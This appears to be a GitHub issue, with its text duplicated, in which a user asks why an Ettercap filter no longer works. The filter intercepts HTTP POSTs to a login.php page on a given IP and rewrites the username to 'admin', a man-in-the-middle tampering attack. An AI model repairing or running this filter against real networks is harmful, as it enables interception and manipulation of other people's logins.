You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
if (search(DATA.data, "login.php")){
msg("Call to the login page");
pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41");
msg("Content modified");
if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){
msg("Data modified\n");
}
msg("Done !\n");
}
}
}
I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.
Please helpp!!
Sincerely,
Marco
The text was updated successfully, but these errors were encountered:
Hi, I’m trying to get this Ettercap filter to work which has worked in the past but it seems Ettercap no longer accepts it?
if (ip.dst == ‘192.###.##.#' && tcp.dst == 80) {
if(search(DATA.data, "POST")){
msg("request POST");
if (search(DATA.data, "login.php")){
msg("Call to the login page");
pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41");
msg("Content modified");
if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){
msg("Data modified\n");
}
msg("Done !\n");
}
}
}
I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.
Please helpp!!
Sincerely,
Marco
The text was updated successfully, but these errors were encountered: